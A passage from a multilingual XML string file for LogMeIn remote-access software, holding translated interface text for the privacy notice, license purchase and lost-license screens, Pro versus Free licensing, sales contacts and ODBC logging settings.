<en-gb>LogMeIn, Inc. will not reveal any personal information that you provide to us to any non-affiliated party without your permission. On request, LogMeIn, Inc. will remove your information from our database to permit you to "opt out" of any e-mail contacts.</en-gb>
<hu>A LogMeIn, Inc., az Ön engedélye nélkül semmilyen külső félnek nem fog  
feltárni semmilyen személyes információt. Kérésére, 
a LogMeIn Inc. eltávolítja az Ön adatait adatbázisainkból, hogy lehetővé tegyük leiratkozását  
mindenféle e-mail kapcsolattartásról.</hu>
<pt-br>A LogMeIn, Inc. não revelará nenhuma informação pessoal 
fornecida a nós para nenhum terceiro não afiliado sem a sua permissão. Mediante 
solicitação, a LogMeIn, Inc. removerá suas informações do nosso banco de dados para permitir
que você opte por recusar o recebimento de contatos por email.</pt-br>
<nl>LogMeIn, Inc. zal uw persoonlijke gegevens die u ons hebt verstrekt niet zonder uw toestemming overhandigen aan derden die niet aan ons bedrijf zijn gelieerd. LogMeIn, Inc. zal op verzoek uw gegevens uit onze database verwijderen om u de mogelijkheid te bieden u "uit te schrijven" voor eventuele communicatie via e-mail.</nl>
</msg>
<msg name="PRIVACY.MORE">
<en>»read more</en>
<de>»weitere Informationen</de>
<es>"leer más</es>
<fr>»en savoir plus</fr>
<it>"Ulteriori informazioni</it>
<ru>"дополнительные сведения</ru>
<ja>» 続きを読む</ja>
<zh>"查看更多信息</zh>
<ko>"추가 정보</ko>
<en-gb>"read more</en-gb>
<hu>"további információk</hu>
<pt-br>"leia mais</pt-br>
<nl>" meer informatie</nl>
</msg>
<!-- "purchase new license" screen messages -->
<cat name="PURCHASE">
<msg name="TITLE">
<en>Purchase %PRODUCTNAME</en>
<de>%PRODUCTNAME bestellen</de>
<es>Comprar %PRODUCTNAME</es>
<fr>Achat de %PRODUCTNAME</fr>
<it>Acquista %PRODUCTNAME</it>
<ru>Приобрести %PRODUCTNAME</ru>
<ja>%PRODUCTNAME を購入</ja>
<zh>购买 %PRODUCTNAME</zh>
<ko>%PRODUCTNAME 구입</ko>
<en-gb>Purchase %PRODUCTNAME</en-gb>
<hu>Vásárolja meg a %PRODUCTNAME terméket.</hu>
<pt-br>Adquira o %PRODUCTNAME</pt-br>
<nl>%PRODUCTNAME kopen</nl>
</msg>
<msg name="VISIT">
<en>Please go to the %LINK website in order to purchase your %PRODUCTNAME license.</en>
<de>Besuchen Sie bitte die Webseite unter %LINK, um eine %PRODUCTNAME Lizenz zu erwerben.</de>
<es>Vaya a la página %LINK para adquirir la licencia para %PRODUCTNAME.</es>
<fr>Veuillez aller sur le site web %LINK afin d'acheter votre licence de %PRODUCTNAME.</fr>
<it>Visitare il sito Web %LINK per acquistare la licenza di %PRODUCTNAME.</it>
<ru>Перейдите на веб-сайт %LINK, чтобы приобрести собственную лицензию на %PRODUCTNAME.</ru>
<ja>%PRODUCTNAME ライセンスを購入する場合は、%LINK Web サイトにアクセスしてください。</ja>
<zh>要购买 %PRODUCTNAME 许可证,请转至 %LINK Web 站点。</zh>
<ko>%PRODUCTNAME 라이센스를 구입하려면 %LINK 웹 사이트로 이동하십시오.</ko>
<en-gb>Please go to the %LINK website in order to purchase your %PRODUCTNAME licence.</en-gb>
<hu>Kérjük, látogassa meg a %LINK webhelyet a %PRODUCTNAME licensz megvásárlásához.</hu>
<pt-br>Visite o site %LINK para adquirir sua licença do %PRODUCTNAME.</pt-br>
<nl>Ga naar de website %LINK  om uw licentie voor %PRODUCTNAME te kopen.</nl>
</msg>
<msg name="BUTTON">
<en>Purchase %PRODUCTNAME</en>
<de>%PRODUCTNAME bestellen</de>
<es>Comprar %PRODUCTNAME</es>
<fr>Acheter %PRODUCTNAME</fr>
<it>Acquista %PRODUCTNAME</it>
<ru>Приобрести %PRODUCTNAME</ru>
<ja>%PRODUCTNAME を購入</ja>
<zh>购买 %PRODUCTNAME</zh>
<ko>%PRODUCTNAME 구입</ko>
<en-gb>Purchase %PRODUCTNAME</en-gb>
<hu>Vásárolja meg a %PRODUCTNAME terméket.</hu>
<pt-br>Adquira o %PRODUCTNAME</pt-br>
<nl>%PRODUCTNAME kopen</nl>
</msg>
<msg name="SALES">
<en>Or contact our sales team at:</en>
<de>Oder kontaktieren Sie unseren Vertriebsteam unter:</de>
<es>O póngase en contacto con nuestro equipo comercial:</es>
<fr>Ou contactez notre équipe de ventes:</fr>
<it>In alternativa contattare il nostro ufficio vendite:</it>
<ru>Или обратитесь к нашей группе сбыта по следующему адресу:</ru>
<ja>または、次の販売チームに連絡する :</ja>
<zh>或者通过以下方式与我们的销售团队联系:</zh>
<ko>또는 다음 주소의 당사 영업팀에 문의하십시오:</ko>
<en-gb>Or contact our sales team at:</en-gb>
<hu>Vagy lépjen kapcsolatba eladási csapatunkkal a következő elérhetőségen:</hu>
<pt-br>Ou entre em contato com a equipe de vendas em:</pt-br>
<nl>Of neem contact op met ons verkoopteam op:</nl>
</msg>
<msg name="EXPLAIN">
<en>Once the purchase is complete your license will be sent to your email address
immediately. When you have received the license, please click "Next" to continue.</en>
<de>Sofort nach Abschluss der Bestellung wird Ihnen die Lizenz per Email
zugestellt. Wenn Sie die Lizenz erhalten haben, klicken Sie auf "Weiter",
um fortzufahren.</de>
<es>Una vez que haya adquirido la licencia, se le enviará a su dirección de correo electrónico
inmediatamente. Cuando haya recibido la licencia, haga clic en "Siguiente" para continuar.</es>
<fr>Une fois que la procédure d'achat a aboutie, votre licence vous sera immédiatement envoyée à votre
adresse email. Lorsque vous aurez reçu votre licence, cliquez svp sur "suivant" pour continuer.</fr>
<it>Una volta completato l'acquisto, la licenza verrà inviata immediatamente all'indirizzo e-mail specificato. Dopo aver ricevuto la licenza, fare clic su "Avanti" per continuare.</it>
<ru>После оформления покупки лицензия будет немедленно отправлена пользователю по электронной почте. После получения лицензии щелкните "Далее", чтобы продолжит.</ru>
<ja>ご購入手続きが完了すると、直ちにご指定の電子メール アドレス宛てにライセンスが送信されます。ライセンスを受け取ったら、[次へ] をクリックして先へ進んでください。</ja>
<zh>购买完成后,我们将立即把许可证发送至您的电子邮件地址。收到许可证后,请单击“下一步”继续。</zh>
<ko>라이센스를 구입했으면 즉시 해당 라이센스를 전자 메일 주소로 보냅니다. 라이센스를 받은 후에는 "다음"을 클릭하여 계속하십시오.</ko>
<en-gb>Once the purchase is complete your licence will be sent to your e-mail address immediately. When you have received the licence, please click "Next" to continue.</en-gb>
<hu>Ha a vásárlás megtörtént, a licenszet e-mailben azonnal elküldjük az Ön
e-mail címére. Ha megkapta a licenszet, kattintson a "Tovább" gombra a folytatáshoz.</hu>
<pt-br>Depois da conclusão da compra, sua licença será enviada para o seu endereço de email
imediatamente. Quando receber a licença, clique em "Avançar" para continuar.</pt-br>
<nl>Nadat de aankoop is voltooid, wordt uw licentie onmiddellijk naar uw e-mailadres verzonden. Als u de licentie hebt ontvangen, klikt u op "Volgende" om door te gaan.</nl>
</msg>
</cat>
<!-- -->
<cat name="LMIPRO">
<msg name="NOMOREPRO">
<en>You requested an LMI Pro license. We cannot issue another one to you. Possible causes: your trial 
license may have run out, or all your LogMeIn Pro licenses may already be in use by other computers. 
You can still install LogMeIn Free on this computer to get a limited functionality of LogMeIn, or you can
purchase LogMeIn Pro on our website.</en>
<de>Sie haben eine LogMeIn Pro Lizenz angefordert. Wir können keine weitere ausstellen. Mögliche Ursachen: Ihre Trial Lizenz ist abgelaufen, oder all ihre LogMeIn Pro Lizenzen werden bereits auf anderen Computern verwendet. Sie können in jedem Fall LogMeIn Free für diesen Computer wählen, wobei sie eine eingeschränkte Funktionalität erhalten, oder sie können LogMeIn Pro auf unserer Webseite bestellen.</de>
<es>Solicitó otra licencia LMI Pro, pero no se la podemos enviar. Causas posibles: su licencia de 
prueba podría haber caducado o sus licencias de LogMeIn Pro podrían estar siendo utilizadas en otros ordenadores. 
Puede instalar LogMeIn Free en este ordenador para obtener una funcionalidad limitada de la aplicación o puede
comprar LogMeIn Pro en nuestro sitio web.</es>
<fr>Vous avez demandé une licence de LMI Pro. Nous ne pouvons pas vous en fournir une supplémentaire. Causes possibles : votre
licence d'évaluation est peut-être échue, ou toutes vos licences de LogMeIn Pro sont déjà utilisées par d'autres ordinateurs.
Vous pouvez cependant installer librement LogMeIn sur cet ordinateur avec des fonctionnalités limitées, ou
vous pouvez acheter LogMeIn Pro sur notre site Web.</fr>
<it>È stata richiesta una licenza LMI Pro. Non è possibile rilasciare un'altra licenza per lo stesso utente. Possibili cause: la licenza di valutazione potrebbe essere scaduta o tutte le licenze di LogMeIn Pro dell'utente potrebbero essere già utilizzate in altri computer. 
È comunque possibile installare LogMeIn Free su questo computer per ottenere una funzionalità limitata di LogMeIn o acquistare LogMeIn Pro dal sito Web.</it>
<ru>Вы запросили лицензию LMI Pro. Мы не может выслать Вам еще одну лицензию. Возможные причины: истек срок действия пробной лицензии или все ваши лицензии LogMeIn Pro уже используются на других компьютерах. 
Можно установить LogMeIn Free на данном компьютере, чтобы использовать ограниченные функциональные возможности LogMeIn Free, или приобрести LogMeIn Free на нашем веб-сайте.</ru>
<ja>LMI Pro ライセンスを要求しました。別のライセンスを発行することはできません。考えられる原因 :試用版ライセンスの有効期限が切れているか、所有しているすべての LogMeIn Pro ライセンスが他のコンピュータで既に使用されています。このコンピュータに LogMeIn Free をインストールして、機能制限された LogMeIn を取得することは可能です。弊社の Web サイトで LogMeIn Pro を購入することもできます。</ja>
<zh>您已请求了一个 LMI Pro 许可证。我们不能再颁发给您另一个许可证。可能的原因:您的试用版许可证可能已到期,或者您所有的 LogMeIn Pro 许可证均已由其他计算机使用。您仍可以在此计算机上安装 LogMeIn Free 以获得 LogMeIn 的有限功能,或者您可以在我们的 Web 站点上购买 LogMeIn Pro。</zh>
<ko>LMI Pro 라이센스를 요청했습니다. 다른 라이센스를 사용자에게 발급할 수 없습니다. 가능한 원인: 사용자의 평가 라이센스 기간이 초과되었거나 이미 사용자의 모든 LogMeIn Pro 라이센스를 다른 컴퓨터에서 사용하고 있습니다. LogMeIn Free를 이 컴퓨터에 설치하여 LogMeIn의 제한된 기능만 사용하거나 당사 웹 사이트에서 LogMeIn Pro를 구입할 수 있습니다.</ko>
<en-gb>You requested an LMI Pro licence. We cannot issue another one to you. Possible causes: your trial licence may have run out or all your LogMeIn Pro licences may already be in use by other computers. You can still install LogMeIn Free on this computer to get a limited functionality of LogMeIn or you can purchase LogMeIn Pro on our website.</en-gb>
<hu>Ön egy LMI Pro licenszet kért. Nem adhatunk ki újabbat Önnek. Lehetséges okok: az Ön próbalicensze 
lejárt, vagy az összes LogMeIn Pro licenszét már más gépeken használják. 
Ennek ellenére, telepítheti a LogMeIn Free-t erre a számítógépre, és korlátozottan, de hozzáférhet a LogMeIn programhoz, vagy
vásárolja meg a LogMeIn Pro-t a webhelyünkön.</hu>
<pt-br>Você solicitou uma licença para o LMI Pro. Não podemos emitir outra para você. Possíveis causas: sua licença
de avaliação pode ter expirado ou todas as suas licenças do LogMeIn Pro podem estar em outros computadores. 
Você ainda pode instalar o LogMeIin Free neste computador para obter uma funcionalidade limitada do LogMeIn, ou pode
adquirir o LogMeIn Pro no nosso site.</pt-br>
<nl>U hebt een licentie aangevraagd voor LMI Pro. Wij kunnen u geen andere licentie verlenen. Mogelijke oorzaken: de proefperiode van uw licentie is verstreken of al uw LogMeIn Pro-licenties worden reeds gebruikt op andere computers. U kunt LogMeIn Free op deze computer installeren zodat u LogMeIn met beperkte functionaliteit kunt gebruiken of u kunt naar onze website gaan en LogMeIn Pro kopen.</nl>
</msg>
<msg name="GETFREE">
<en>Get Free</en>
<de>LogMeIn Free anfordern</de>
<es>Obtener gratis</es>
<fr>Obtenir gratuitement</fr>
<it>Scarica Free gratuitamente</it>
<ru>Получить бесплатную версию</ru>
<ja>無料版を申し込む</ja>
<zh>获得 Free</zh>
<ko>무료 버전 얻기</ko>
<en-gb>Get Free</en-gb>
<hu>Ingyenesen</hu>
<pt-br>Obtenha grátis</pt-br>
<nl>Free-versie</nl>
</msg>
<msg name="GETFREE.DESC">
<en>Get LMI Free with limited functionality.</en>
<de>Sie erhalten LogMeIn Free mit eingeschränkter Funktionalität</de>
<es>Obtener LMI Free con funcionalidad limitada.</es>
<fr>Obtenez LMI gratuitement avec des fonctionnalités limitées.</fr>
<it>Scaricare gratuitamente LMI Free con funzionalità limitata.</it>
<ru>Получить LMI Free с ограниченными функциональными возможностями.</ru>
<ja>機能制限のある LMI Free を申し込みます。</ja>
<zh>获得功能有限的 LMI Free。</zh>
<ko>제한된 기능을 가진 LMI Free 얻기.</ko>
<en-gb>Get LMI Free with limited functionality.</en-gb>
<hu>Szerezze be az LMI Free-t, korlátozott funkciókkal.</hu>
<pt-br>Obtenha o LMI Free com funcionalidade limitada.</pt-br>
<nl>Gebruik LMI Free met beperkte functionaliteit.</nl>
</msg>
<msg name="BUYPRO">
<en>Buy Pro</en>
<de>LogMeIn Pro kaufen</de>
<es>Comprar Pro</es>
<fr>Acheter Pro</fr>
<it>Acquista Pro</it>
<ru>Купить Pro</ru>
<ja>Pro を購入</ja>
<zh>购买 Pro</zh>
<ko>Pro 구입</ko>
<en-gb>Buy Pro</en-gb>
<hu>Vásároljon Pro-t</hu>
<pt-br>Compre o Pro</pt-br>
<nl>Pro-versie kopen</nl>
</msg>
<msg name="BUYPRO.DESC">
<en>Buy LogMeIn Pro to access all features of LogMeIn.</en>
<de>Sie kaufen LogMeIn Pro und erhalten alle Funktionen</de>
<es>Comprar LogMeIn Pro para acceder a todas las características de LogMeIn.</es>
<fr>Acheter LogMeIn Pro pour accéder à toutes les fonctionnalités de LogMeIn.</fr>
<it>Acquistare LogMeIn Pro per accedere a tutte le funzioni di LogMeIn.</it>
<ru>Купить LogMeIn Pro, чтобы получить доступ ко всем функциям LogMeIn.</ru>
<ja>LogMeIn のすべての機能にアクセスするには、LogMeIn Pro を購入してください。</ja>
<zh>购买 LogMeIn Pro 以使用 LogMeIn 的所有功能。</zh>
<ko>LogMeIn의 모든 기능에 액세스하려면 LogMeIn Pro을(를) 구입하십시오.</ko>
<en-gb>Buy LogMeIn Pro to access all features of LogMeIn.</en-gb>
<hu>Vásárolja meg a LogMeIn Pro-t, hogy hozzáférjen a LogMeIn összes funkciójához.</hu>
<pt-br>Compre o LogMeIn Pro para acessar todos os recursos do LogMeIn.</pt-br>
<nl>Koop LogMeIn Pro en gebruik alle functies van LogMeIn.</nl>
</msg>
</cat>
<!-- "cannot find my license" screen messages -->
<cat name="LOST">
<msg name="CHECKEMAIL">
<en>If you purchased %PRODUCTNAME then you should have received an email containing
the license. Copy and paste the entire license file into the space provided on
the next screen.</en>
<de>Wenn Sie %PRODUCTNAME bestellt haben, sollten Sie eine Email mit der Lizenz
bekommen haben. Kopieren Sie den gesamten Inhalt der Lizenzdatei und fügen ihn
auf der nächsten Seite ein.</de>
<es>Si ha adquirido %PRODUCTNAME debería haber recibido un correo electrónico con
la licencia. Copie y pegue el archivo de licencia en el espacio provisto en
la siguiente pantalla.</es>
<fr>Si vous avez achetez %PRODUCTNAME, vous devriez avoir reçu un email contenant
la licence. Copiez/Collez le contenu entier du fichier de licence dans l'espace proposé
sur le prochain écran.</fr>
<it>Se è stato acquistato %PRODUCTNAME, si riceverà un messaggio e-mail contenente la licenza. Copiare e incollare l'intero file di licenza nell'apposito spazio della schermata successiva.</it>
<ru>После приобретения %PRODUCTNAME пользователь должен получить по электронной почте сообщение с лицензией. Целиком скопируйте и вставьте содержимое файла лицензии в предоставленное на следующем экране поле.</ru>
<ja>%PRODUCTNAME を購入すると、そのライセンスを記載した電子メールが送られてきます。次の画面に表示されるスペースに、ライセンス ファイル全体をコピーしペーストしてください。</ja>
<zh>如果已购买 %PRODUCTNAME,您应已收到包含许可证的电子邮件。复制整个许可证文件并将其粘贴至下一屏幕上提供的空间中。</zh>
<ko>%PRODUCTNAME을(를) 구입한 경우에는 라이센스가 포함된 전자 메일을 수신해야 합니다. 다음 화면에서 제공된 영역에 전체 라이센스 파일을 복사한 후 붙여넣습니다.</ko>
<en-gb>If you purchased %PRODUCTNAME then you should have received an e-mail containing the licence. Copy and paste the entire licence file into the space provided on the next screen.</en-gb>
<hu>Amennyiben Ön megvásárolta a %PRODUCTNAME terméket, akkor egy e-mailt kellett kapnia, amely
a licenszet tartalmazza. Másolja be a teljes licenszfájlt a következő képernyőn levő
megfelelő helyre.</hu>
<pt-br>Se você tiver comprado o %PRODUCTNAME, deve ter recebido um email contendo
a licença. Copie e cole todo o arquivo de licença no espaço fornecido na
próxima tela.</pt-br>
<nl>Als u %PRODUCTNAME hebt gekocht, moet u een e-mailbericht met de licentie hebben ontvangen. Kopieer het volledige licentiebestand en plak dit in het tekstvak dat op het volgende scherm wordt weergegeven.</nl>
</msg>
<msg name="GETSUPPORT">
<en>If you did not receive the email please contact technical support with your details.</en>
<de>Wenn Sie die Email nicht erhalten haben, kontaktieren Sie den technischen
Support mit Ihren Angaben.</de>
<es>Si no ha recibido el correo electrónico, póngase en contacto con la asistencia técnica indicando sus datos.</es>
<fr>Si vous n'avez pas reçu d'email, veuillez svp contacter le support technique munie de vos informations.</fr>
<it>Se il messaggio e-mail non è stato ricevuto, contattare il supporto tecnico e fornire i propri dati.</it>
<ru>Если электронное сообщение с лицензией не было получено, обратитесь в службу технической поддержки и представьте свои данные.</ru>
<ja>電子メールが送られてこない場合は、テクニカル サポートにお問い合せのうえ、詳細を伝えてください。</ja>
<zh>如果未收到此电子邮件,请与技术支持联系,并提供您的详细信息。</zh>
<ko>전자 메일을 수신하지 않은 경우 자세한 내용을 기술 지원부에 문의하십시오.</ko>
<en-gb>If you did not receive the e-mail please contact technical support with your details.</en-gb>
<hu>Ha nem kapta meg az e-mailt, kérjük, lépjen kapcsolatba a műszaki támogatással, és adja meg adatait.</hu>
<pt-br>Se você não tiver recebido o email, entre em contato com o suporte técnico fornecendo seus detalhes.</pt-br>
<nl>Als u dit e-mailbericht niet hebt ontvangen, neemt u contact op met de afdeling Technische support en verstrekt u uw gegevens.</nl>
</msg>
<msg name="BUYONLINE">
<en>If you have not yet purchased %PRODUCTNAME then you can do so online at %LINK or contact
our sales team at:</en>
<de>Wenn Sie %PRODUCTNAME noch nicht bestellt haben, so können Sie das online
unter %LINK erledigen. Sie können auch unser Vertriebsteam kontaktieren unter:</de>
<es>Si todavía no ha adquirido %PRODUCTNAME, puede hacerlo a través de Internet en %LINK o póngase
en contacto con nuestro equipo comercial:</es>
<fr>Si vous n'avez pas encore acheté %PRODUCTNAME, vous pouvez le faire en ligne à %LINK ou contacter
notre équipe de ventes à:</fr>
<it>Se %PRODUCTNAME non è stato ancora acquistato, è possibile comprarlo in linea sul sito %LINK o contattare il nostro ufficio vendite:</it>
<ru>Если продукт %PRODUCTNAME еще не приобретен, то это можно сделать интерактивно на веб-сайте %LINK, или обратитесь к нашей группе сбыта по следующему адресу:</ru>
<ja>%PRODUCTNAME をまだ購入していない場合は、%LINK でオンラインで購入するか、次の販売チームに連絡してください。</ja>
<zh>如果尚未购买 %PRODUCTNAME,您可以在 %LINK 上联机购买或通过以下方式与我们的销售团队联系:</zh>
<ko>아직 %PRODUCTNAME을(를) 구입하지 않았으면 %LINK에 온라인으로 연결하거나 다음 주소의 당사 영업팀에 문의하십시오.</ko>
<en-gb>If you have not yet purchased %PRODUCTNAME, you can do so online at %LINK or contact our sales team at:</en-gb>
<hu>Ha még nem vásárolta meg a %PRODUCTNAME terméket, akkor ezt online megteheti a %LINK címen, vagy vegye fel a kapcsolatot 
eladási csapatunkkal a következő elérhetőségen:</hu>
<pt-br>Se você ainda não tiver adquirido o %PRODUCTNAME, poderá fazê-lo online em %LINK, ou entrar em contato com
nossa equipe de vendas em:</pt-br>
<nl>Als u %PRODUCTNAME nog niet hebt gekocht, kunt u dit online doen op %LINK of neemt u contact op met ons verkoopteam op:</nl>
</msg>
<msg name="FOUND">
<en>I've found my license</en>
<de>Ich habe meine Lizenz gefunden</de>
<es>He encontrado mi licencia</es>
<fr>J'ai trouvé ma licence.</fr>
<it>Licenza individuata</it>
<ru>Я нашел свою лицензию</ru>
<ja>ライセンスが見つかりました</ja>
<zh>我已找到我的许可证</zh>
<ko>라이센스를 찾았습니다</ko>
<en-gb>I've found my licence</en-gb>
<hu>Megtaláltam a licenszemet</hu>
<pt-br>Localizei minha licença</pt-br>
<nl>Ik heb mijn licentie ontvangen</nl>
</msg>
</cat>
<!-- sales team availability. change this to your distributor e-mail and phone numbers. -->
<cat name="SALES">
<msg name="EMAIL">
<en>sales@remotelyanywhere.com</en>
<de>info@s-inn.de</de>
<es>sales@remotelyanywhere.com</es>
<fr>sales@remotelyanywhere.com</fr>
<it>sales@remotelyanywhere.com</it>
<ru>sales@remotelyanywhere.com</ru>
<ja>sales@remotelyanywhere.com</ja>
<zh>sales@remotelyanywhere.com</zh>
<ko>sales@remotelyanywhere.com</ko>
<en-gb>sales@remotelyanywhere.com</en-gb>
<hu>sales@remotelyanywhere.com</hu>
<pt-br>sales@remotelyanywhere.com</pt-br>
<nl>sales@remotelyanywhere.com</nl>
</msg>
</cat>
</cat>
<!-- CONFIG.ODBC -->
<cat name="ODBC">
<msg name="TITLE">
<en>ODBC messages</en>
<de>ODBC Meldungen</de>
<es>Mensaje ODBC</es>
<fr>Messages ODBC</fr>
<it>Messaggi ODBC</it>
<ru>ODBC-сообщения</ru>
<ja>ODBC メッセージ</ja>
<zh>ODBC 消息</zh>
<ko>ODBC 메시지</ko>
<en-gb>ODBC messages</en-gb>
<hu>ODBC üzenetek</hu>
<pt-br>Mensagens ODBC</pt-br>
<nl>ODBC-berichten</nl>
</msg>
<msg name="DESC">
<en>You can log %PRODUCTNAME events or write messages from System Monitoring and
Scripting to a database. Specify the ODBC data source properties through which
these operations are done.</en>
<de>Sie können Meldungen der Systemüberwachung und der Skripte in einer Datenbank
speichern. Geben Sie die Eigenschaften der ODBC Datenquelle an, die verwendet
werden soll.</de>
<es>Puede registrar sucesos de %PRODUCTNAME o escribir mensajes del Control del sistema y
del Scripting a una base de datos. Especifique las propiedades de la fuente de datos ODBC a través de los cuales
se realizan estas operaciones.</es>
<fr>Vous pouvez enregistrer dans une base de données des notifications d'événements de %PRODUCTNAME
ou inscrire des messages de la Surveillance Système. Indiquez les propriétés
de la source de données ODBC sur laquelle ces informations seront stockées.</fr>
<it>È possibile registrare eventi di %PRODUCTNAME o scrivere messaggi di Monitoraggio sistema e Script in un database. Specificare le proprietà dell'origine dati ODBC utilizzata per l'esecuzione di queste operazioni.</it>
<ru>Пользователь может регистрировать события %PRODUCTNAME в журнале или записывать сообщения службы системного мониторинга и использования сценариев в базу данных. Особенно это касается свойств источников данных ODBC, посредством которых такие операции выполняются.</ru>
<ja>データベースへの %PRODUCTNAME のイベント ログの記録、およびシステム モニタリングとスクリプティングからのメッセージの書き込みができます。これらの操作の実行に使用される ODBC データ ソース プロパティを指定してください。</ja>
<zh>您可以记录 %PRODUCTNAME 事件或者将消息从系统监视和脚本写入数据库。请指定运行这些操作的 ODBC 数据源属性。</zh>
<ko>%PRODUCTNAME 이벤트를 로깅하거나 시스템 모니터링 및 스크립팅의 메시지를 데이터베이스에 쓸 수 있습니다. 이 작업이 수행되는 ODBC 데이터 원본 속성을 지정합니다.</ko>
<en-gb>You can log %PRODUCTNAME events or write messages from System Monitoring and Scripting to a database. Specify the ODBC data source properties through which these operations are done.</en-gb>
<hu>Naplózhatja a %PRODUCTNAME eseményeket, vagy üzeneteket írhat a Rendszerfigyelésből és a 
Szkriptírásból egy adatbázisba. Adja meg annak az ODBC adatforrásnak a tulajdonságait, amelyen keresztül
ezeket a műveleteket elvégzi.</hu>
<pt-br>Você pode registrar eventos do %PRODUCTNAME ou gravar mensagens do System Monitoring and 
Scripting em um banco de dados. Especifique as propriedades da fonte de dados ODBC por meio das quais
as operações são realizadas.</pt-br>
<nl>U kunt de gebeurtenissen van %PRODUCTNAME in een logboekbestand registreren of de berichten van de systeemcontrole en scriptverwerking in een database opslaan. Geef de eigenschappen van de ODBC-gegevensbron op waarmee deze acties worden uitgevoerd.</nl>
</msg>
<msg name="DATASOURCE">
<en>Data Source</en>
<de>Datenquelle</de>
<es>Fuente de datos</es>
<fr>Source de Données</fr>
<it>Origine dati</it>
<ru>Источник данных</ru>
<ja>データ ソース</ja>
<zh>数据源</zh>
<ko>데이터 원본</ko>
<en-gb>Data Source</en-gb>
<hu>Adatforrás</hu>
<pt-br>Fonte de dados</pt-br>
<nl>Gegevensbron</nl>
</msg>
<msg name="DATASOURCE.NOTE">
<en>(an existing system DSN data source on this computer)</en>
<de>(eine existierende System DSN Datenquelle auf diesem Computer)</de>
<es>(una fuente de datos DSN del sistema existente en este ordenador)</es>
<fr>(une source de données DSN existe déjà sur cet ordinateur)</fr>
<it>(un'origine dati DSN di sistema esistente su questo computer)</it>
<ru>(источник системных данных DSN, имеющийся на данном компьютере)</ru>
<ja>(このコンピュータに既に存在するシステム DSN データ ソース)</ja>
<zh>(此计算机上的现有系统 DSN 数据源)</zh>
<ko>(이 컴퓨터의 기존 시스템 DSN 데이터 원본)</ko>
<en-gb>(an existing system DSN data source on this computer)</en-gb>
<hu>(egy meglévő rendszer DSN adatforrás ezen a számítógépen)</hu>
<pt-br>(uma fonte de dados DNS do sistema existente neste computador)</pt-br>
<nl>(een bestaande DSN-systeemgegevensbron op deze computer)</nl>
</msg>
<msg name="USERNAME">
<en>User name</en>
<de>Benutzername</de>
<es>Nombre de usuario</es>
<fr>Nom Utilisateur</fr>
<it>Nome utente</it>
<ru>Имя пользователя</ru>
<ja>ユーザ名</ja>
<zh>用户名</zh>
<ko>사용자 이름</ko>
<en-gb>Username</en-gb>
<hu>Felhasználói név</hu>
<pt-br>Nome do usuário</pt-br>
<nl>Gebruikersnaam</nl>
</msg>
<msg name="USERNAME.NOTE">
<en>(an optional user name for data source authentication)</en>
<de>(einen optionalen Benutzernamen für die Authentifizierung an der Datenquelle)</de>
<es>(un nombre de usuario opcional para autenticación de la fuente de datos)</es>
<fr>(un nom utilisateur facultatif pour l'authentification de la source de données)</fr>
<it>(un nome utente opzionale per l'autenticazione dell'origine dati)</it>
<ru>(необязательное имя пользователя для прохождения проверки подлинности в источнике данных)</ru>
<ja>(データ ソース認証に使用される選択可能なユーザ名)</ja>
<zh>(用于数据源验证的可选用户名)</zh>
<ko>(데이터 원본 인증에 대한 선택적 사용자 이름)</ko>
<en-gb>(an optional username for data source authentication)</en-gb>
<hu>(opcionális felhasználói név az adatforrás hitelesítésére)</hu>
<pt-br>(um nome de usuário opcional para a autenticação da fonte de dados)</pt-br>
<nl>(een optionele gebruikersnaam voor de verificatie van de gegevensbron)</nl>
</msg>
<msg name="PASSWORD">
<en>Password</en>
<de>Kennwort</de>
<es>Contraseña</es>
<fr>Mot de passe</fr>
<it>Password</it>
<ru>Пароль</ru>
<ja>パスワード</ja>
<zh>密码</zh>
<ko>암호</ko>
<en-gb>Password</en-gb>
<hu>Jelszó</hu>
<pt-br>Senha</pt-br>
<nl>Wachtwoord</nl>
</msg>
<msg name="PASSWORD.NOTE">
<en>(an optional password for data source authentication)</en>
<de>(ein optionales Kennwort für die Authentifizierung an der Datenquelle)</de>
<es>(una contraseña opcional para autenticación de la fuente de datos)</es>
<fr>(un mot de passe facultatif pour l'authentification de la source de données)</fr>
<it>(una password opzionale per l'autenticazione dell'origine dati)</it>
<ru>(необязательный пароль для прохождения проверки подлинности в источнике данных)</ru>
<ja>(データ ソース認証に使用される選択可能なパスワード)</ja>
<zh>(用于数据源验证的可选密码)</zh>
<ko>(데이터 원본 인증에 대한 선택적 암호)</ko>
<en-gb>(an optional password for data source authentication)</en-gb>
<hu>(opcionális jelszó az adatforrás hitelesítésére)</hu>
<pt-br>(uma senha opcional para a autenticação da fonte de dados)</pt-br>
<nl>(een optioneel wachtwoord voor de verificatie van de gegevensbron)</nl>
</msg>
<msg name="TABLE">
<en>Table name</en>
<de>Tabellenname</de>
<es>Nombre de la tabla</es>
<fr>Nom de la table</fr>
<it>Nome tabella</it>
<ru>Имя таблицы</ru>
<ja>テーブル名</ja>
<zh>表名</zh>
<ko>테이블 이름</ko>
<en-gb>Table name</en-gb>
<hu>Tábla neve</hu>
<pt-br>Nome da tabela</pt-br>
<nl>Tabelnaam</nl>
</msg>
<msg name="TABLE.NOTE">
<en>(the name of an existing table in the database)</en>
<de>(der Name einer existierenden Tabelle in der Datenbank)</de>
<es>(el nombre de una tabla existente en la base de datos)</es>
<fr>(le nom d'une table existante dans la base de données)</fr>
<it>(il nome di una tabella esistente nel database)</it>
<ru>(имя таблицы, существующей в этой базе данных)</ru>
<ja>(データベース内に存在するテーブルの名前)</ja>
<zh>(数据库中现有表的名称)</zh>
<ko>(데이터베이스에 있는 기존 테이블 이름)</ko>
<en-gb>(the name of an existing table in the database)</en-gb>
<hu>(az adatbázis egy létező táblájának a neve)</hu>
<pt-br>(o nome de uma tabela existente no banco de dados)</pt-br>
<nl>(de naam van een bestaande tabel in de database)</nl>
</msg>
<msg name="COLUMNS">
<en>Column names for messages</en>
<de>Spaltennamen für die Meldungen</de>
<es>Nombres de columna para mensajes</es>
<fr>Noms de colonnes des messages</fr>
<it>Nomi di colonna per i messaggi</it>
<ru>Называния столбцов для сообщений</ru>
<ja>メッセージの列名</ja>
<zh>消息的列名</zh>
<ko>메시지 열 이름</ko>
<en-gb>Column names for messages</en-gb>
<hu>Oszlopnevek az üzenetekhez</hu>
<pt-br>Nomes da coluna para mensagens</pt-br>
<nl>Kolomnamen voor berichten</nl>
</msg>
<msg name="MESSAGE">
<en>Message</en>
<de>Meldung</de>
<es>Mensaje</es>
<fr>Message</fr>
<it>Messaggio</it>
<ru>Сообщение</ru>
<ja>メッセージ</ja>
<zh>消息</zh>
<ko>메시지</ko>
<en-gb>Message</en-gb>
<hu>Üzenet</hu>
